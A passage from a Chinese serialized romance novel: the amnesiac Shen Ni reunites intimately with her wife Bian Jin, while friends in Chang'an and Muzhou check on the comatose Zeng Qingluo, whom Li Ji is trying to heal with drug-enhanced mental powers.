边烬出去了,留沈逆自己浸在热水里。
整张脸通红,心动到不行。
难怪失忆了还对妻子魂牵梦萦,妻子姐姐也太好了吧?
沈逆握着脚踝。
这么完美的姐姐是我的。
沈逆被迷得心荡神摇之时,边烬回来了,问她:“头发洗了吗?”
沈逆摇摇头,就要把整个脑袋浸到浴缸里清洗,幸好边烬眼疾手快托住她下巴,将她脑袋抬起来。
边烬难忍笑意,“会呛着的。”
沈逆:“也对。”
“我帮你洗。”
沈逆心中开心,格外想依赖她,轻轻地“嗯”了一声。
“来。”
边烬搬了椅子坐到浴缸边上,让沈逆转过身去。
沈逆看上去没多脏,可头发里都是灰,有些还打结了。
以前懒散归懒散,从来没这般邋遢过。
边烬的洁癖到沈逆身上似乎总失效,洁净的指尖深入发丝间,和梳子一同一点点轻柔地梳理。
“疼不疼?”
“不疼的。”
边烬再梳理,又问了好几次同样的话。
问得沈逆都笑了,“没事的,你怎么梳我都不疼,尽管梳。”
梨花味的皂角香在小小的空间内蔓延。
香味让她模糊地想起了一些往事,想起了共同成长的生命线上厚重的情愫。
沈逆的长发被边烬耐心地清洗干净时,边烬身上却被弄湿了。
沈逆不太敢看她,“那我先出去了,你来洗。”
身后人没说话,沈逆带着水光的手指抓到寝衣,匆匆一穿,离开了。
夜里,沈逆躺在床上翻来覆去没睡着,听到脚步声,立刻转身,面对着墙,把后背留给边烬。
脑子里就一个问题。
今晚,妻子姐姐会和她一起睡吗?
不一起睡的话,也没有其他床了。
可是……就算知道已经成亲,对她而言曾经的一切都没想起来。
心下有份熟悉的感觉,若现在就同床共枕,总归有些太刺激了。
身后的脚步声传来,闷闷的,伴随着她的心跳一路延伸到床边。
真的来了。
沈逆能感受到身后灼热的目光落在她身上。
片刻后,传来簌簌的脱衣身。
沈逆喉咙轻动。
被子被掀开,边烬凝视着沈逆单薄的肩膀和温软的后颈。
想起刚成亲那段时日,自己都是这样背对着沈逆。
原来看着后背的滋味这般不好受。
一直都主动表达着喜欢的沈逆,忽视她时,心里克制不住地发酸。
床面有轻微的挤压感,身后人躺下来了。
火热又柔软的身躯慢慢贴上沈逆的后背。
沈逆险些忘了呼吸。
后背能清晰地感受到成熟女人迷人的曲线。
边烬搂住沈逆的腰肢,不太熟练地主动往上抚,掠过衣料下被她染红得身躯,两指压在沈逆微微潮湿的颈窝里,纤纤细指再往上攀,拂过战栗的脖子,将她半张脸都拢进右手的掌心里。
沈逆被她弄得浑身燥热,轻声问:“你,喜欢我吗?”
这么直白的问题,放在以前是很难直接宣之于口的。
边烬脸庞热热的,贴得更紧。
“嗯……很喜欢。”
沈逆心下咚咚地跳,连带着耳尖也在热意中完全变红,回眸。
眼前不再是混乱的线条,而是一双专注凝视着她,动情的桃花眼。
边烬微抬上身,吻住她的唇,分开唇缝,往里探。
沈逆被她吻得迷离,眼睛湿漉漉的。
“我们……做过这种事吗?”
黑暗中,边烬眼眸里的水光清晰动人。
“做过,很多次。”
沈逆是怎么吻上去的已经不记得了。
似本能的召唤,像两具命中注定就该相融的躯体终于找到了最想栖息之地。
滚烫的肌肤相贴,口干舌燥。
沈逆翻身将边烬抵在床面上,扣着她的手腕,重重地启开双唇。
边烬那双总是不太会吻的唇,险些又招架不住。
吻得很深,她难以自控地回应着。
干燥太久的夜,忽然急雨。
不可能不失控。
第167章
和外表的清冷相比,边烬对她感觉的强烈程度,超出意料。
沈逆逻辑不通,不知要停,顺从着本能。
边烬即便有些吃不消,也一直纵着她。
在交融的濡湿气息中,相伴着迎来新的黎明。
边烬为沈逆红肿的唇摸上护唇膏,沈逆学着抹回来。
晨光淡淡铺进房车里,以微不可见的速度覆盖交缠在一起的女人腿。
没人有睡意。
温热的指尖在边烬的脸庞上缓缓移动,沿着她的五官描绘。
沈逆不舍得眨眼,“你长得真好看。”
昨夜她俩断断续续聊着,聊了沈逆当下的感受,以及这两个月以来她的遭遇和所作所为。
边烬淡笑着:“你不是说所有人的长相在你只是一根根线条?都是线条,怎么能分辨得出来好看或不好看?”
“当然能,不一样的。”沈逆认真道,“就算是线条,我也能够分辨出哪些线条精致,哪些线条粗糙,而妻子姐姐……是我看到的第一双眼睛,真真正正的眼睛。”
“妻子姐姐?”边烬问,“为什么叫我妻子姐姐?”
好奇怪的称呼。
“因为我还不知道你的名字啊,就这么叫了。”沈逆皱眉,“糟糕,怎么把心里话说出来了。”
边烬算是知道沈逆这机灵的脑袋里成天想的都是什么了。
说不定,她脑子里一直都是这些又怪又有趣的思路。现在的她只是把脑子里想过,但不曾真的说出口的话全都说了出来。
沈逆的脚不知何时伸到了被子外,缩回来的时候,不小心蹬到了边烬的脚,立刻收了回去。
边烬却跟着她,说:“踩上来。”
边烬的脚背很温暖,沈逆脚尖点了点,没完全踏上去。
边烬:“放心踩。”
两人都侧卧着,沈逆脚尖抵在边烬的脚面上,还枕着她的胳膊。
两人一起窝在暖融融的被子里,像勾勒出一个完整的圆。
手脚很快都变得热乎乎的。
即便是在房车里,也似在家中,温暖舒适。
沈逆看着晨光中美丽的女人,是她带来了家的感觉。
这就是“妻子”的神奇威力么?
沈逆问她:“你叫什么啊?”
“边烬。边际的边,灰烬的烬。”
边烬。
很好听,又有点儿伤感的名字。
将这两个字在心里默念一遍,熟悉的宿命感又开始往她的心尖上翻卷。
奇怪的是,一会儿这两个字就从心头消散了,再去想,却怎么都想不起来。
沈逆知道又是身体里的那玩意在作祟,立刻打开跟了她一个多月的新款电子表,又问了一遍边烬的名字,打算记下来。
“能不能再告诉我一次?”
边烬的指尖在沈逆投到半空的电子屏上,一笔一划地写下自己的名字。
写完之后,沈逆迅速保存。
“以后忘记了,就拿出来看。”沈逆开心道,“那就再也不会忘记了。”
沈逆小心翼翼地把边烬的名字存好,又问边烬:
“那我叫什么名字?”
边烬正要开口,想起沈逆在吸收黑魔方时留下的那句话。
——下次给我起个乖一点的名字吧。
“你叫……”
沈逆期待地望着边烬。
“沈乖乖。”
沈逆:?
沈逆:“……我不信。”
边烬憋住笑,“真的。”
“谁会叫这种名字啊!”
“你。”
“不可能,我才不会叫这个名字。没事的,没事的,一会儿我就忘了……”
边烬立刻在沈逆的投屏上写下“沈乖乖”三个字,和“边烬”并排。
沈逆:“你!”
边烬保存。
“这样你就不会忘了。”
沈逆陷入沉思。
我不会真的叫这个名字吧?
思考着,肚子开始咕噜噜地叫。
边烬起身,去冰柜里拿食物,打算做朝食。
沈逆趴在床上支着脑袋问边烬:“早上吃什么?”
“你最喜欢吃的菠菜。”
沈逆:?
沈逆的直觉是对的,她一向不喜欢吃菠菜,以前得哄着才吃。
菠菜营养价值高,边烬就是想看看她现在逻辑乱了,吃蔬菜的时候有没有可能不那么费劲。
听到“菠菜”二字,沈逆的表情立刻垮了下来。
不会吧,菠菜那么难吃,我怎么会喜欢吃?
我真是个喜欢吃菠菜的“沈乖乖”?
怎么想都觉得和自我认知不太匹配。
沈逆疑神疑鬼,总觉得自己被诓了。
可是妻子姐姐……边烬姐姐一身正气,不太会骗人的样子。
被沈逆戏弄了这么多年,难得戏弄回来,边烬唇边压着笑意。
“你在外面流浪了这么久,肯定没怎么吃蔬菜。菠菜要吃,也有你喜欢的牛肉。不过……”
边烬翻找了一番,居然没找到地豆。
沈逆最喜欢吃油炸地豆,特别是万姑姑炸的,又酥又脆,火候精准。
边烬已经从万姑姑那头要来了秘籍,试着做过几次,口感已和出自万姑姑之手的所差无几。
起初是想吃些沈逆喜欢的食物聊以慰藉,若真能找到她,也能做给她吃。
可真的重逢了,地豆却消耗完了。
沈逆问她在找什么,得知是地豆时,神秘一笑,说:
“我有很多,咱们开车去拿。”
边烬:?
你有很多地豆?
带着满心的疑惑,边烬坐在副驾上,看沈逆熟练地启动房车,她真的懂得如何驾驶。
也就是说,对于各种机械的肌肉记忆还在。
不愧是双S级机械天赋者。
房车开到一处偏僻的山洞前,沈逆说:“我之前都藏在这里。我去拿,你等我一会儿。”
然后边烬眼睁睁地看着沈逆提了两大袋的地豆出来,左右环视,悄摸地运上车。
边烬:“这么多,是哪儿来的?”
沈逆:“村里种的。我看都成熟了也没人收,怕坏在地里,就都给收了。”
边烬……
以沈逆现在的逻辑判断,多半没经过村民的同意,是偷的。
边烬扶额。
回头再补偿给村民好了。
沈逆看边烬的表情一言难尽,补充道:“食物可不能浪费。”
边烬:“是啊,那菠菜也不能浪费,都吃了。”
沈逆:.
沈逆在边烬的督促下吃完了菠菜,之后边烬奖励她,给她吃了软烂又风味十足的牛肉,以及万姑姑祖传的油炸地豆。
这顿晚膳沈逆吃得非常顺口,心满意足。
看沈逆这么乖,该奖励得奖励。
边烬犹记分别之前,沈逆留下的话。
——那你利用完之后,还会不会奖励我?
自然是要奖励的。
被思念之情深深纠缠的夜里,边烬靠着记忆模块里的点滴回忆熬过了相思之夜。
如今,总算能真真切切地搂住让她魂牵梦萦的腰肢。
昏暗的房车里,夜灯在远处。
沈逆仰着头,腿落在边烬的掌心里。
整个世界都在旋转,升空,之后在某一瞬间,眼前发白,嗡嗡声灌满了脑袋,急速的心跳随后轰隆隆地到来。
沈逆闷闷地呢喃着,扶住边烬的脑袋,难耐地深入她的发丝。
边烬有些无措地微微抬起头,抹去嘴角的水光,之后撑起身子,往上游,抱起沈逆,用她最喜欢的姿势揽进怀中,抱她到腿上。
沈逆眼角泛着泪光,坐在边烬的手上,腿在发颤。
“刚才……”一个字一顿,又说,“都已经……”
边烬“嗯”了一声。
意思是,知道,但不停,不想停。
又一次到了天明。
沈逆被欺得浑身发红,什么时候昏沉沉地失去意识都不知晓。
看怀中人眼角的泪痕,边烬知道自己过分了些,带着歉意将她紧紧拥入怀中。
沈逆沉沉睡去,边烬则完全没有睡意。
想起方才看到荒唐的一幕。
忘情之时,白色的乱体从沈逆的腰部冒出了两根,她应该没发现,落入边烬眼中。
那乱体慌不择路,如蛇般在床面上蔓延。
边烬的确吃了一惊,已经进入高度戒备状态,没想到,那白色的乱体完全没有攻击性,软趴趴地待了一会儿,像是和沈逆一样,被欺得懵了。
边烬一碰,它立刻回缩。
纯白的金属面居然一触升温,纯白中透着些粉意。
凝滞了几息,很快缩回了沈逆的身体中。
边烬:……
感觉怪怪的。
这黑魔方的乱体不仅变了个颜色,还温和了许多,仿佛是一只沈逆养在身体里的宠物,对外界完全没有杀伤性。
而且,还会因为她的触碰而……害羞?
边烬实在不想用这个词,可那白色的乱体给她的感觉就是这样。
沈逆气息平稳,睡得很沉。
边烬抽出手臂起身的时候动作轻到极致,没有吵醒她。
进入工作室,在繁杂的程序中果然找到了禁锢黑魔方相关的系统。
明日等沈逆醒来跟她说说系统的事儿,毕竟最终要解决的还是黑魔方,不可能一直让黑魔方待在沈逆体内。
还有一件事让边烬忧心。
打开飞鸽传信,曾倾洛一直没有回复她的消息。她询问窦璇玑,窦璇玑的回复含糊其辞,只说曾倾洛现下受了伤,李极正在为她治疗,让边烬不用担心。
先前找不到沈逆时,边烬的确没有太多的精力,如今,再给窦璇玑传信,告诉她沈逆已经找到了,但因为特殊状况,暂时不能回长安。等她们解决之后再回去。以及,曾倾洛现在的状况,希望她如实相告.
大明宫,紫宸殿,天子的寝宫。
窦璇玑累得半死,一掌拍在身上的李司胳膊上:
“起开!不要脸!”
李司满脸通红,气息紊乱地放开怀中人,瞧着身下云娇雨怯的窦璇玑,那双似怒还羞的眼睛弄得她心头火热热的。
李司为窦璇玑擦拭,“在你面前我还要什么脸啊……”
窦璇玑瞪她一眼。
真受不了这厮。
昼时在臣子面前一派天子威仪,是个谁都不敢惹的铁面新帝,窦璇玑见了都有点犯怵。
结果一到晚上,就跟三个月没捞着吃的一样,简直是饿鬼投胎。
还每晚都是饿鬼,从来不当人,尽折腾她。
窦璇玑双眼一闭,懒得回想。
李司哄了半天才算哄好了个大概,都要睡了,窦璇玑收到一封飞信,忽然一个身子坐起来,又一掌狠狠拍在李司腿上。
李司“嗷”了一嗓子,整个人吓得一哆嗦。
李司挨上来担忧地问:“怎么了璇玑,做噩梦了这是?”
窦璇玑:“我像你?沾枕头就睡。”
李司:……
窦璇玑忽然眉开眼笑,“沈逆找到了!她还活着!”
李司差点跳到床面上,“真的?!臭狐狸现在怎么样了!怎么不直接回来啊!”
窦璇玑把边烬的信给李司看。
李司也从“特殊情况”这四个字里嗅出了别样的意味。
两人沉默了片刻,李司道:“边烬向来思虑周全,肯定是不好回来。那,到底怎么样了啊,也不至于谨慎到说得这般含糊吧?”
窦璇玑道:“她还想知道曾倾洛的情况,明天我去一趟睦州。”
李司欲言又止。
“没事,现在网络和官道都修好了,也没有黑魔方,不会危险的。去睦州只需一个时辰,快得很。”
“这个我不担心,只是,不知道李极是不是依旧闭门不见。”
窦璇玑一直和第五阙保持着联系,知晓她们的状况。
上个月窦璇玑已经去过一次睦州,没能见到李极,但曾倾洛的状态她知晓一些。
一言难尽,就没敢告诉边烬,怕她那头还没找到沈逆,忧心如焚,这头还要记挂着曾倾洛。
窦璇玑:“没事,当真如此,我也要去看看第五阙她们的。而且我还想去找边烬一趟。”
李司知道窦璇玑无耶娘也无手足,最是在意朋友情谊。
她不舍地握着窦璇玑的手,“我……想跟你一起去。”
“别了,你出一趟长安城多大阵仗心里没数?”
窦璇玑回绝得实在太干脆太真心实意,李司什么也没说,闷闷地缩成一团。
窦璇玑看她失落的模样,“好啦”一声后,主动吻上她的唇。
“我很快回来,好不好?”
李司:“我觉得你在哄宠物。”
窦璇玑:“嗯,我是。”
李司:……
第168章
第二日一大早,窦璇玑离开了大明宫。
去睦州之前,她先前往新修的长生阁,和房判聊聊天。
长生阁是在丽景门旧址上建起来的研究所,专门研究各种机械和电子相关的疑难杂症。
原本房判的大脑在沈逆的工作室里存放着,后来沈逆失踪,李司生怕没个机械师照看会出什么问题,便派人去把房判请到新建的长生阁中。
负责接手的是李司曾任金吾将军时的下属,非常有潜质的A级机械师。李司亲手把他提拔上来,算是知根知底。
窦璇玑回到长安时才知道房判搬了家,托管给了长生阁,去看过几次,状态和她离开时没什么变化。
大脑重建依旧在平稳又缓慢地推进,三百多年的时间一息一息地往前推移。
无法丈量的时光,在房判这儿有了具体又清晰的刻度。
窦璇玑来得安静,依旧引来了不少目光。
即便还未大婚也未封后,可眼前人是当今天子疼得跟眼珠子似的心上人,整个长安城无人不晓。
看到她时,无论在做什么事都会立刻停下手里的活,向她行礼问安。
窦璇玑很不自然地一一回礼,原本很快走完的路,生生拖了一盏茶的工夫。
来到房判大脑所在的单独研究室,窦璇玑把门关上。
此地只有她和房判。
“我又来了。”
窦璇玑坐到椅子上,脚下一蹬,转到房判“面前”。
房判的大脑被装在一个袋子里,袋子外罩了一层可爱的人偶模型。
这人偶模型是根据窦璇玑捡到的房判小时候照片绘制出来的。
李司亲手绘制、打印,再亲自封装。
窦璇玑第一次看到的时候,李司陪在身边,窦璇玑还问:
“怎么把房判打扮得这么可爱?”
李司道:“你肯定三不五时就会过来看小房,总不能每次来就对这个残缺的大脑吧?你没问题,人家小房还害羞呢。反正我等你等得没事干的时候,就过来陪小房说说话,顺手给她套件新衣服。”
窦璇玑嘴里说“都当天子了还有没事干的时候?”,其实心中是感动的。
李司费尽心思做这一切,自然是为了让她开心。
当初房判没少说李司的好话,如今这桩桩件件摆在眼前,让窦璇玑明白房判眼光不错,自己也没选错人。
人偶模型身后有两个接插口,连接着系统。
系统不眠不休地监测、重建着大脑。
小小的“房判”则带着傻乎乎的笑,坐在透明的液体中。
“以前咱们走到哪都被人嫌弃、害怕,避之不及。现在好了,所到之处都是奉承之人。你若看到这场面,肯定憋不住笑。”
窦璇玑趴在暖光前,凝视着房判不会回应的笑脸。
“到现在都很难相信,李司居然成了皇帝……”
窦璇玑“噗呲”笑了,“你敢相信吗,她现在是皇帝。”
窦璇玑在脑海中想象房判听到这句话的时候,表情会有多精彩。
脸是一定呆滞的,手里的食物是一定会掉在地上的。
“我可能……就要当皇后了。”
房判一定会在震惊后笑得死去活来,然后再揶揄一句:
“璇玑,你和小乔当真是天作之合呀。放心,她半夜爬你窗的事儿我肯定守口如瓶。”
窦璇玑哈哈笑,抹掉眼角的泪花,调整情绪,习惯性把最近的发生的事儿都跟房判说了。
她总有一种感觉,即便无法回应,房判的大脑也能听到她的话。
在丽景门的那些年,多少个困倦的值守之夜,她都是和房判聊着天熬下来的。
她已经习惯什么事都跟房判提一句。
而且,更重要的是,如果不陪房判说说话,告诉她朋友们最近发生的事,这世界发生的事,房判总是独自待在此处什么都不知晓,该多寂寞。
“沈逆已经找到了,万幸啊她还活着。长安城打算择日重新开放。出生到现在,我还不知道没有黑魔方威胁的世界是什么样的。很难想象未来会变成什么样。说不定,新时代真的要到来了。”
窦璇玑戳了戳容器壁,目光温软。
“我有预感,有生之年,我们会再见面的。我一定努力活到你醒来的那一日。”.
睦州,桑青山。
夕阳渐渐沉入万山之后,孤云浮空。
贺兰濯醒来时,身上盖着厚厚的毯子。
给她当了一下午枕头的人一动没动,正欣赏着琉璃墙之外恢弘的落日,慵懒地打了个呵欠,眼角有一包泪。
贺兰濯挪了下身子,第五阙摸摸她的头,“醒了?冷不冷?”
贺兰濯在她腿上摇头。
滴——
不远处发出电子提示音,第五阙说:“我给你热了苹果酒,现在喝吗?”
“嗯……”贺兰濯坐起身,靠到沙发的另一头,“喝。”
第五阙起身去拿苹果酒。
六十度,握在手里稍微凉一凉,在这早春微冷的傍晚正好入口。
贺兰濯喝下一口最喜欢的苹果酒,“我睡着了。什么时辰了?”
“太阳该落山了,感觉怎么样?”
“头没那么痛了。”
贺兰濯说什么第五阙就信什么,开心地过来继续为她按摩。
“我就说我新学的按摩技术肯定有用,我再帮你按按。”
这两个月她们待在睦州安心休养,与世隔绝,只希望贺兰濯能早日恢复视力。
这座桑青山是第五阙二姐为她找的。
她和二姐吵架归吵架,感情还是很好。
特别是听说第五阙把大姐的下落卖给大姐前任窦雪怀,现在大姐满世界找第五阙,要抽烂她的屁股后,更是担心。
毕竟大姐说要抽烂谁的屁股,从来没食言过。
第五阙实在不想和大姐正面交锋,就拜托二姐帮她找一个大姐寻不到的地界。
桑青山风景还不错,就是没瀑布也没果树,距离第五阙喜欢的山头还有些距离。
秃是秃了些,养病还是很合适。
第五阙打算等贺兰濯状况好一些,外面彻底太平了,再专心下半辈子的田园牧歌。
阿赐也被接到身边。
或许是出于补偿的心态,李极派了几位能干的仆从跟随她们到了桑青山,照顾她们日常起居。
她们现在居住的地方曾经是家奢华客栈,很凑巧,是李极名下的产业。
黑魔方横行之后,客栈的客源锐减,李极也无暇经营,客栈倒闭后空置了许久。反正暂时也无用,就让第五阙她们在此养病。
贺兰濯想要恢复天赋,再拥有视力,需要保持愉悦的心情,将精气神养回来,便有一线希望。
养病的这段时日,第五阙每天变着花地逗贺兰濯开心,完全不让她干一点儿活,各方面的“服务”都相当周到。
透支了所有精神力和体力,长时间的谋划和追击让贺兰濯精疲力竭,骨瘦嶙峋,浑身是伤。贺兰濯又天生好强,嘴上不说,其实连路都走不动。
是有侍女在侧,但她非常有边界感,不习惯陌生人服侍。
那段时日,第五阙就是她的腿,就是她的眼,贺兰濯从未这般依赖一个人。
与此同时贺兰濯也发现,毛手毛脚的第五阙居然有这么细心周到的一面。
而且第五阙天性豁达,再大的事儿到她面前都能切碎了当点心吃。
和她在一起不会感受到任何的压力,还会被她的乐观开朗影响,两个月下来,贺兰濯被养回来不少,起码不再是皮包骨,整个人圆润回了正常人的模样。
只是双瞳依旧浓黑得像一片深潭,看不到一星点儿的光。
夜夜头疼,睡不好觉。
睡不好觉这点不太妙。
睡不好,精神不济,精神力就更难恢复。
贺兰濯睡不着,日夜颠倒,第五阙也跟着她调整作息时间,几乎学会了全世界精神天赋者之外的人士能使用的所有催眠方法,哄着她睡。
刚才就成功睡了两个时辰。
不算长,但对贺兰濯而言也是弥足珍贵的两个时辰,头痛压下去不少。
阿赐就住在隔壁,每日都会过来探望贺兰濯。
贺兰濯精神好的时候,便会留下来跟她说说话。
深度的催眠还扎根在阿赐的脑海里,靠着贺兰濯慢慢跟她讲述过往的点滴,投出记忆模块中的记忆给她看,一点点唤醒她真实的记忆。
其实真实的记忆还没被彻底唤醒,但阿赐相信贺兰濯说的每句话。
“我觉得你好熟悉,感觉我们在一起生活了很多很多年。”
阿赐拉着贺兰濯的手,一本正经地保证道:
“姐,我一定会想起来的。”
贺兰濯笑道:“没关系,慢慢来。”
第五阙在一边边剥橘子边说:“你姐为了找你吃了不少苦。”
阿赐用力点头,“我不会再让姐吃苦了。”
第五阙笑着正要接话。
没想到阿赐继续说:“姐的下半辈子交给我,我不会再离开半步。”
第五阙:?
不是,你姐的下半辈子已经有人预定了好吧?.
窦璇玑是坐着皇室的仪仗来的。
仪仗还没落地,就听见地面上来接她的第五阙挥着手大喊“皇后娘娘”。
窦璇玑恨不得直接跳下去捂住第五阙这张嘴。
落地后,窦璇玑狠抽第五阙的胳膊,“别瞎喊,还没封后呢。”
第五阙乐呵呵的,“不也快了么,难道你还能再跑了不成?”
在旁一同接驾的侍从都有些惊讶。
第五女郎平日嘴上没个遮掩,没想到和准皇后也没大没小。
旁人不知晓,窦璇玑和第五阙一同在最危险的时候离开长安城,相伴着在危机四伏的野道上一同开过车、守过夜,还为抢床铺“决一死战”过,革命感情坚固。窦璇玑是不爱摆谱的人,第五阙开起玩笑来也很随意。
封后这事儿因为诸多原因,一直留在李司的嘴边,没真正提上日程。
黑魔方造成的动荡且不用说,刚刚登基一堆事儿等着李司决策,而且窦璇玑还陪着沈逆出了长安城,大婚这事儿就耽搁下了。
如今天下已有盛世气象,可李司和窦璇玑后知后觉地发现,先帝宾天,国丧一年,这一年内不好大婚,最快也要明年金秋了。
窦璇玑见第五阙脸上的笑意就没下去过,问她:
“看你这么开心,贺女郎好转了吧?”
“没呢,还和之前差不多。”
“那你乐。”
“不乐也差不多,乐也差不多,还不如开开心心的。她刚好不容易睡下,我就没叫她一块儿来。走,我先带你去吃点好吃的,这儿的野菜可真是一绝!”
窦璇玑带了一堆的礼物来,随从们搬都搬了半天。
用完膳,贺兰濯也醒了,三人聊了会儿,都为找到沈逆高兴。
之后窦璇玑说明了来意。
“小倾洛么……”
提到曾倾洛,连第五阙都叹气。
“她一直都在安王府,李极也不知道怎么样了,两个月了闭门不出。”
窦璇玑:“李极喝了韩复给的药?”
第五阙看向贺兰濯,贺兰濯裹着厚厚的披肩,闭着眼,优雅地喝了一口苹果酒后,轻转着酒盏道:
“对,就是韩复曾经给丽景门女官喝的那种药。”
想起这件旧事,窦璇玑后背还会发紧。
窦璇玑:“我想去看看她们,边烬也想知道倾洛现下的状况。”
第五阙拍拍膝盖,“李极未必会见咱们。不过,去试试看吧,我和你一起去。”
贺兰濯道:“我也去。”
第五阙没想到她也要出门,“可是……”
贺兰濯:“我都闷在屋子里两个月了,正是踏青时节,就当出门走一走,解解闷。”
其实贺兰濯是不信任这两位战斗天赋者的口才,笨嘴拙舌的,恐怕启不开李极的大门。
一行三人到了安王府,康逸去通报,半天才回来。
康逸:“殿下没有回应。”
第五阙不安地小声对贺兰濯说:“她俩不会死……”
贺兰濯立刻捂住她的嘴,对康逸说:“安王殿下多日不曾出门,定是遇到了难事,我们想直接去叩门。”
康逸也是满肚子的忧虑,贺兰濯聪明,他是知道的。
和繁之商量了一下,便为她们带路。
李极和曾倾洛住在安王府的主院内。
此刻住院大门紧闭,康逸喊了好几声都没人应。
贺兰濯她们三人相视一眼,最后由贺兰濯道:
“殿下,边烬和沈逆一直在询问倾洛的状况。若有难处,不若一起商议,或许能找到解决的方法。”
贺兰濯说完后,屋内半晌没有动静。
康逸瞟过来“你看”的眼神。
第五阙正要开口,贺兰濯忽然拉了她一下。
与此同时,窦璇玑也感觉到了,在场的所有人都察觉到了一股磅礴又哀伤的精神力似从深渊中呼啸而来,锁住了所有人的思绪。
在场的低阶天赋者当场无法呼吸。
这是超越了S级的精神力,估计拥有者还不知该如何自控。
贺兰濯立刻说:“A级以下天赋者回避。”
侍从们立刻少了一半。
门开了。
一头白发的李极抬起头,面容憔悴,双眸血红。
第169章
华发曳地,面容虽没有随头发一并老去,却惨白似鬼。
若说从前的李极美得雍容金贵,教人一眼惊艳,那此刻的她憔悴中带着破碎之后的坚韧,依旧摄人心魄。
寝屋内很安静,飘荡着阵阵花香。
曾倾洛背对着大门,坐在窗边,凝望着窗外正在盛放的春花。
早春的生机勃勃,铺在她死气沉沉的双眸中。
被玄关的屏风挡住,门外人看不到她,没人能打扰她。
“沈逆……她还活着?”
李极声音沙哑,贺兰濯听得出来,她已经很久没与人说话了。
“是,还活着。”
同为精神天赋者,贺兰濯大致猜测得出李极这段时日都经历了什么,此刻渴望的是什么。
“边烬和沈逆都担心倾洛,想知道她的近况。”
说及此事,李极垂下眼眸,哀伤的情绪萦绕在周遭,就连A级战斗天赋的窦璇玑都被她情绪感染,眼泪不自禁地掉落。贺兰濯的精神天赋还未恢复,被影响更甚,脑袋和心口闷痛着。
李极闭了闭眼,尽量收拢情绪。
“教我怎么控制精神力。都进来。”
屋门合上,第五阙她们走到曾倾洛身边,轻唤她的名字。
曾倾洛也没有任何反应,甚至连眼睛都不眨。
李极电子表响了,她从蹀躞带上解下装眼药水的锦囊。
每隔一段时间就要帮曾倾洛滴眼药水,免得她不眨眼,眼睛干涩受损。
专心滴完眼药水后,李极一边把多余的拭去一边说:
“如你们所见,小满一直都是这样,没好转,也没继续恶化。”
贺兰濯知道,是李极用精神力控制着,不让曾倾洛精神世界全面崩盘。
窦璇玑:“韩复的药,你喝了?”
“喝了。”
李极才意识到自己从早上到这会儿没喝过一口水,慢悠悠地抿了一口茶,平静道:
“两管都喝了。”
“两管……”窦璇玑难以置信,“你喝了两管?”
李极满不在乎道:“对。”
从韩复那里拿来了两管药,一开始李极只喝了一管。
七日后的某个清晨,已经升为A级的她,天赋陡然提升到了S级。
整个过程没有任何不适,难怪当初丽景门那么女官都喝了药,直到多年后才有人发现此事的歹毒。药本身非常具有隐蔽性,喝下的当时和之后的很长一段时间并不会造成身体上明显的不适。
成为S级精神天赋者之后,李极立刻试着进入曾倾洛的精神世界。
她在曾倾洛的精神世界里看到了一片废墟。
狂风一刻不停地席卷废墟,漫天砂砾被卷入空中,不知被带去何处,残骸所剩无几。
狂风是向知番异兽化的精神力残存的象征,曾倾洛的意识世界在狂风的席卷下飞速消失。
要是李极再晚来一步,曾倾洛的精神世界将彻底消散,到时候她便再无醒来的可能。
S级的精神天赋是非常难驾驭的超高天赋,起初李极无法自如地控制精神力,反而被狂风刮得遍体鳞伤。
在精神世界中受损,会直接反馈在大脑和玉璧之上。
那段时日李极头痛欲裂,玉璧的报废程度也超过了百分之五十。
但时间紧迫,她无暇顾及其他,必须得争分夺秒护下残骸。
耗尽了所有的精神力,总算遏暂时制住曾倾洛精神世界里的那场飓风。
风止了,依旧满目疮痍,完全不见曾经的轮廓。
修复精神世界,就是重建废墟的过程。
李极试着修复残垣断壁和空廊枯叶。
就在这时,她遇到了难点。
一点点地把废墟残片堆起来,谁都能做到,可想要让它们重新变回原有的模样,变回完整的一砖一瓦,一屋一舍,相当于逆天而为,不可能。
李极说至此,贺兰濯非常理解地颔首,道:
“就像杀人和救人。杀人容易,一把刀一颗狠心就能完成。可是想要让人起死回生,难度高了不止千万倍。精神世界的毁灭和重建也是同样的道理。所以……之后你就喝下了第二管药。”
“对。狂风随时都有可能再刮回来,我没有时间等待。”
生死攸关的事,从李极口中说出来,慢条斯理似全然不在意。
也像是早就做好了最坏的打算,没有给自己留过退路。
李极早就想到了一管药或许无法突破天赋的天花板,所以在死城,她向韩复要了两管药。
还记得韩复当时劝了她一句。
“一管药能无知无觉提升天赋,可如果你喝下第二管,一定会有异常反应。”
李极:“是什么?”
韩复耸了耸肩说:“不知道。没人这么做过,只是我多年和毒药打交道的推测。”
李极:“只要不当场毙命就行。”
韩复:“并不排除当场毙命的可能。”
李极抬了抬眉,没再多说。
不排除的意思是,有可能。
但她不试一试,她的小满再也没可能醒过来了。
有可能和没可能,她知道该怎么选。
小满护她的时候没有半分迟疑。
如今为了小满,有何所惧?
第二管药入喉,灼烧感折磨了她不知多少个日夜。
三日前,她终于在黎明中醒来时,高烧未退,却笑了。
——还活着,我不是废物,我能救小满。
支起浑身剧痛的身子,她看到了镜中的自己。
满头白发,面若死灰。乍一看以为看到陌生人,再看,是自己无疑。
这便是第二管药的副作用。
一向爱美的李极只看了一眼便移开了目光。
这不重要,不重要。
李极对自己说,还活着就行。
如果说S级的天赋让李极清晰地感受到能力的突破,只要她想,她甚至能够监听安王府所有人的心声。
那双S级则像重生。
精神力变成了浮在云端的自在,信手拈来,毫不费劲。
路过窗边的小鸟都会被李极的情绪感染,落到她的肩头。
她听懂了鸟叫虫鸣,听见日出,闻到冻土融化。
甚至能感受到天地的运行。
焦躁恍惚的情绪不见了,李极恢复了理智。
头发白了,但情绪稳了。
再次进入曾倾洛的精神世界,狂风再来,她轻松拨开。
天地昏暗,她轻轻一挥衣袂,晴空万里。
她成为了这个世界的唯一主宰者,天地间的真神。
狂风跑了,残毁的大地在她的指尖轻动下重塑。
听到这里,第五阙实在忍不住,问她:“那不是很顺利吗?为什么小倾洛还是现在这副模样。”
李极乜她一眼。
小倾洛,还是叫得这么亲热。
李极放下茶盏,本能地注视曾倾洛的方向。
“我是拥有了重塑的能力,小满精神世界的残存我都重建了,可是,我不知道那些房屋、池塘、小桥和小院里被摧毁前具体是什么样的,我不知道它们的细节。”
通过长时间的观察,李极猜测这个精神世界就是曾倾洛的记忆世界,或许,是她长大的地方,是李极没能参与的曾经。
小院有什么样的藩篱,院里有养家禽还是宠物?
屋舍内有几间房,房中都是如何布置的?
李极完全不知晓。
而且,就算她知晓,那个问题依旧困扰她。
精神世界不像现实世界,这儿除了废墟就是一片白茫茫的虚空,要是重建,该用什么当材料重建?
